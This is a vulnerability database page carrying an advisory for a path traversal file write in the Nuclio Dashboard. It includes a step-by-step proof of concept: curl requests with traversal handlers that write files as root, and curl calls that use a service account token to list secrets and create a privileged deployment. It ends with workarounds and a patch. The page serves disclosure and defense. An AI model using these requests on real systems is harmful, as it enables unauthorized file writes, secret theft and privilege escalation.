Vulnerability Database

362,176

Total vulnerabilities in the database

CVE-2026-52832 — github.com/nuclio/nuclio

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

Nuclio Dashboard exposes POST /api/functions without authentication by default (NOP auth mode). The spec.handler field (e.g., mymodule:myfunction) is parsed by functionconfig.ParseHandler() which splits on : only — no path validation is applied to the module portion.

During function build, writeFunctionSourceCodeToTempFile() passes the module name directly to path.Join(tempDir, moduleFileName). Go's path.Join internally calls path.Clean, which resolves ../ sequences and allows the resolved path to escape tempDir. The function then calls os.WriteFile at the attacker-controlled path with attacker-controlled content (base64-decoded spec.build.functionSourceCode).

The write executes in the Dashboard container process running as uid=0 (root), allowing writes to any filesystem location the process can access: /tmp, /etc, /usr/local/bin, /etc/cron.d, and more.

  • CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N7.5 (High)
  • CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
  • Affected versions: Nuclio <= 1.15.27 (latest at time of research, dynamically verified)

Details

Root Cause

The vulnerability spans three functions. The path from user input to disk write is:

1. ParseHandler — no path validation (pkg/functionconfig/handler.go:25-38):

// pkg/functionconfig/handler.go:25-38 func ParseHandler(handler string) (string, string, error) { moduleAndEntrypoint := strings.Split(handler, &quot;:&quot;) switch len(moduleAndEntrypoint) { case 1: return &quot;&quot;, moduleAndEntrypoint[0], nil case 2: // Returns moduleFileName verbatim — no path sanitization return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil default: return &quot;&quot;, &quot;&quot;, errors.Errorf(&quot;Invalid handler name %s&quot;, handler) } }

Input &quot;../../../../tmp/vul007_proof.txt:handler&quot; returns moduleFileName = &quot;../../../../tmp/vul007_proof.txt&quot;.

2. writeFunctionSourceCodeToTempFile — unsafe path construction (pkg/processor/build/builder.go:613-661):

// builder.go:624-657 (abridged) tempDir, err := b.mkDirUnderTemp(&quot;source&quot;) // tempDir = /tmp/nuclio-build-&lt;random&gt;/source runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime) moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler) // moduleFileName = &quot;../../../../tmp/vul007_proof.txt&quot; — attacker-controlled if !strings.Contains(moduleFileName, &quot;.&quot;) { moduleFileName = fmt.Sprintf(&quot;%s.%s&quot;, moduleFileName, runtimeExtension) } // If moduleFileName already contains &quot;.&quot;, no extension is appended // &quot;../../../../tmp/vul007_proof.txt&quot; contains &quot;.&quot; -&gt; stays as-is sourceFilePath := path.Join(tempDir, moduleFileName) // path.Join(&quot;/tmp/nuclio-build-227825660/source&quot;, &quot;../../../../tmp/vul007_proof.txt&quot;) // = &quot;/tmp/vul007_proof.txt&quot; &lt;-- escaped tempDir b.logger.DebugWith(&quot;Writing function source code to temporary file&quot;, &quot;functionPath&quot;, sourceFilePath) if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil { // Writes attacker-controlled bytes to attacker-controlled path

3. cleanupTempDir does not remove the traversal file (builder.go:1047-1061):

// builder.go:1053 err := os.RemoveAll(b.tempDir) // Only removes /tmp/nuclio-build-&lt;random&gt;/ — traversal file outside this tree persists

Path Traversal Calculation

tempDir = /tmp/nuclio-build-227825660/source (depth from /: 3 components) handler = &quot;../../../../tmp/vul007_proof.txt:handler&quot; module = &quot;../../../../tmp/vul007_proof.txt&quot; path.Join(&quot;/tmp/nuclio-build-227825660/source&quot;, &quot;../../../../tmp/vul007_proof.txt&quot;) = path.Clean(&quot;/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt&quot;) Traversal: /tmp/nuclio-build-227825660/source (start) ../ -&gt; /tmp/nuclio-build-227825660 ../ -&gt; /tmp ../ -&gt; / (filesystem root) ../ -&gt; / (cannot go above root) tmp/vul007_proof.txt -&gt; /tmp/vul007_proof.txt

The same technique with 4x ../ reaches any path under /tmp, /etc, /usr, etc.

Full Attack Chain

Unauthenticated HTTP client -&gt; POST /api/functions (no auth, NOP mode) dashboard/resource/function.go:156 storeAndDeployFunction() -&gt; platform.CreateFunction() platform/kube/platform.go:193 -&gt; abstract/platform.go:191 HandleDeployFunction() -&gt; abstract/platform.go:119 CreateFunctionBuild() -&gt; builder.Build() processor/build/builder.go:195 -&gt; builder.resolveFunctionPath() builder.go:664 -&gt; builder.writeFunctionSourceCodeToTempFile() &lt;-- file write here builder.go:613 -&gt; os.WriteFile(attacker_path, attacker_content, 0644) builder.go:657

PoC — Steps to Reproduce

Environment Setup

The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.

Step 1: Create isolated kind cluster with Docker socket mounted

The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:

cat &gt; /tmp/kind-vul007-config.yaml &lt;&lt; &#039;EOF&#039; kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 nodes: - role: control-plane extraMounts: - hostPath: /var/run/docker.sock containerPath: /var/run/docker.sock EOF kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml

Expected output:

Creating cluster &quot;vul-007&quot; ... ✓ Ensuring node image (kindest/node:v1.27.3) ✓ Preparing nodes ✓ Writing configuration ✓ Starting control-plane ✓ Installing CNI ✓ Installing StorageClass Set kubectl context to &quot;kind-vul-007&quot;

Verify Docker socket is available inside the cluster node:

docker exec vul-007-control-plane ls -la /var/run/docker.sock # srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock

Step 2: Deploy Nuclio via Helm

# Create namespace kubectl --context kind-vul-007 create namespace nuclio # Load container images (if pre-pulled) kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007 kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007 # Install with Helm (chart from source: hack/k8s/helm/nuclio) helm install nuclio ./hack/k8s/helm/nuclio \ --namespace nuclio \ --kube-context kind-vul-007 \ --set controller.image.pullPolicy=Never \ --set dashboard.image.pullPolicy=Never \ --set registry.pushPullUrl=&quot;localhost:5000&quot; \ --set dashboard.containerBuilderKind=docker

Step 3: Wait for Dashboard to be ready

kubectl --context kind-vul-007 wait -n nuclio \ --for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s # Expected: # pod/nuclio-dashboard-b4c5bb96f-txjkt condition met

Step 4: Expose Dashboard locally

kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &amp; sleep 3 # Verify Dashboard is accessible curl -s -o /dev/null -w &quot;HTTP %{http_code}\n&quot; http://localhost:8073/api/functions # HTTP 200

Step 5: Create default project (required by Dashboard API)

curl -s -X POST http://localhost:8073/api/projects \ -H &quot;Content-Type: application/json&quot; \ -d &#039;{&quot;metadata&quot;:{&quot;name&quot;:&quot;default&quot;,&quot;namespace&quot;:&quot;nuclio&quot;},&quot;spec&quot;:{&quot;description&quot;:&quot;default&quot;}}&#039;

Exploitation

Step 6: Send path traversal request

The handler field ../../../../tmp/vul007_proof.txt:handler instructs the build pipeline to write functionSourceCode content to /tmp/vul007_proof.txt inside the Dashboard container.

curl -v -X POST http://localhost:8073/api/functions \ -H &quot;Content-Type: application/json&quot; \ -H &quot;x-nuclio-project-name: default&quot; \ -d &#039;{ &quot;metadata&quot;: {&quot;name&quot;: &quot;vul007-poc&quot;, &quot;namespace&quot;: &quot;nuclio&quot;}, &quot;spec&quot;: { &quot;runtime&quot;: &quot;python:3.11&quot;, &quot;handler&quot;: &quot;../../../../tmp/vul007_proof.txt:handler&quot;, &quot;build&quot;: { &quot;functionSourceCode&quot;: &quot;UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw==&quot; }, &quot;minReplicas&quot;: 0, &quot;maxReplicas&quot;: 1 } }&#039;

functionSourceCode base64 decoded: PROVED-PATH-TRAVERSAL-VUL007

Expected response:

HTTP/1.1 202 Accepted

Step 7: Observe Dashboard build logs

kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \ | grep -E &quot;temporary dir|Writing function source&quot;

Actual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):

26.05.17 14:55:02.225 (D) dashboard.server.api/functions Created temporary dir {&quot;dir&quot;: &quot;/tmp/nuclio-build-227825660/source&quot;} 26.05.17 14:55:02.225 (D) dashboard.server.api/functions Writing function source code to temporary file {&quot;functionPath&quot;: &quot;/tmp/vul007_proof.txt&quot;}

The log confirms functionPath resolved to /tmp/vul007_proof.txt, which is outside the tempDir /tmp/nuclio-build-227825660/source. Path traversal is confirmed.

Step 8: Verify file written to traversal path

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \ -- cat /tmp/vul007_proof.txt

Output:

PROVED-PATH-TRAVERSAL-VUL007 kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \ -- ls -la /tmp/vul007_proof.txt

Output:

-rw-r--r-- 1 root root 28 May 17 14:55 /tmp/vul007_proof.txt

Step 9: Write to /etc/ — broader impact demonstration

curl -s -X POST http://localhost:8073/api/functions \ -H &quot;Content-Type: application/json&quot; \ -H &quot;x-nuclio-project-name: default&quot; \ -d &#039;{ &quot;metadata&quot;: {&quot;name&quot;: &quot;vul007-poc2&quot;, &quot;namespace&quot;: &quot;nuclio&quot;}, &quot;spec&quot;: { &quot;runtime&quot;: &quot;python:3.11&quot;, &quot;handler&quot;: &quot;../../../../etc/vul007-marker.txt:handler&quot;, &quot;build&quot;: { &quot;functionSourceCode&quot;: &quot;VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q=&quot; } } }&#039;

Log evidence:

26.05.17 14:55:50.666 (D) dashboard.server.api/functions Writing function source code to temporary file {&quot;functionPath&quot;: &quot;/etc/vul007-marker.txt&quot;} kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \ -- cat /etc/vul007-marker.txt # VUL007-PERSISTENT-MARKER-root

Cleanup

kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2&gt;/dev/null || true kind delete cluster --name vul-007

Impact

Direct Impact

An unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.

Demonstrated write targets:

  • /tmp/ — confirmed (primary PoC)
  • /etc/ — confirmed (secondary PoC)

Potential high-impact write targets:

  • /etc/cron.d/ — write a cron job entry; if a cron daemon runs in the container, this achieves scheduled arbitrary command execution inside the container
  • /usr/local/bin/&lt;name&gt; — overwrite a binary called by dashboard processes
  • Any file path accessible by root within the container filesystem

Privilege Escalation

The Dashboard container runs as uid=0 (root). Its mounted Kubernetes ServiceAccount (nuclio-dashboard) holds the following RBAC permissions in the nuclio namespace:

Resources Verbs secrets [*] deployments.apps [*] pods [*] configmaps [*] services [*] cronjobs.batch [*]

Verification: Using the SA token directly against the Kubernetes API:

# List secrets — HTTP 200 curl -k -H &quot;Authorization: Bearer $SA_TOKEN&quot; \ &quot;$K8S_API/api/v1/namespaces/nuclio/secrets&quot; # =&gt; returns helm release secret, nuclio SA secret # Create privileged Deployment — HTTP 201 curl -k -X POST -H &quot;Authorization: Bearer $SA_TOKEN&quot; \ -H &quot;Content-Type: application/json&quot; \ &quot;$K8S_API/apis/apps/v1/namespaces/nuclio/deployments&quot; \ -d &#039;{&quot;spec&quot;:{&quot;template&quot;:{&quot;spec&quot;:{&quot;containers&quot;:[{&quot;name&quot;:&quot;t&quot;,&quot;image&quot;:&quot;busybox&quot;,&quot;securityContext&quot;:{&quot;privileged&quot;:true}}]}}}}&#039; # HTTP_CODE:201

An attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the nuclio namespace, potentially escalating to cluster-level access depending on cluster configuration.

Scope

The file write is bounded to the Dashboard container filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.


Severity

CVSS 3.1 Score: 7.5 (High)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

| Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network | Dashboard API reachable over network | | Attack Complexity | Low | Single HTTP request, no race condition | | Privileges Required | None | Default NOP auth mode requires no credentials | | User Interaction | None | Fully automated | | Scope | Unchanged | Write confined to Dashboard container | | Confidentiality | None | No data read in primary attack path | | Integrity | High | Arbitrary file write as root in container | | Availability | None | No service disruption caused by write |


Affected Versions

  • Nuclio <= 1.15.27 (latest release at time of research)
  • Dynamically verified against quay.io/nuclio/dashboard:1.15.27-amd64 on 2026-05-17

The vulnerable code path (writeFunctionSourceCodeToTempFile in pkg/processor/build/builder.go) has been present since the functionSourceCode inline code feature was introduced.


Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.5


Workarounds

Option 1: Enable authentication on the Dashboard

Set NUCLIO_AUTH_KIND to a non-NOP value (e.g., iguazio) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.

# In Dashboard deployment env - name: NUCLIO_AUTH_KIND value: &quot;iguazio&quot;

Option 2: Network-level access control

Restrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.

Option 3: Drop root privileges in the Dashboard container

Run the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.


Remediation

Add a path boundary check in writeFunctionSourceCodeToTempFile after constructing sourceFilePath:

// pkg/processor/build/builder.go — fix for writeFunctionSourceCodeToTempFile sourceFilePath := path.Join(tempDir, moduleFileName) // Verify resolved path is within tempDir absPath, err := filepath.Abs(sourceFilePath) if err != nil { return &quot;&quot;, errors.Wrap(err, &quot;Failed to resolve absolute path&quot;) } absTempDir, err := filepath.Abs(tempDir) if err != nil { return &quot;&quot;, errors.Wrap(err, &quot;Failed to resolve absolute tempDir&quot;) } if !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) { return &quot;&quot;, errors.Errorf( &quot;handler module path escapes build directory: %s&quot;, moduleFileName) } b.logger.DebugWith(&quot;Writing function source code to temporary file&quot;, &quot;functionPath&quot;, absPath) if err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {

Alternatively, reject any handler module name containing path separator characters before the build pipeline is invoked (at API request validation time).


Resources

  • Vulnerable file: pkg/processor/build/builder.go — function writeFunctionSourceCodeToTempFile, line 654
  • Parser: pkg/functionconfig/handler.go — function ParseHandler, line 25
  • Go path.Join behavior: https://pkg.go.dev/path#Join
  • CWE-22: https://cwe.mitre.org/data/definitions/22.html
  • OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal

CVSS v3:

  • Severity: Low
  • Score: 4.9
  • AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.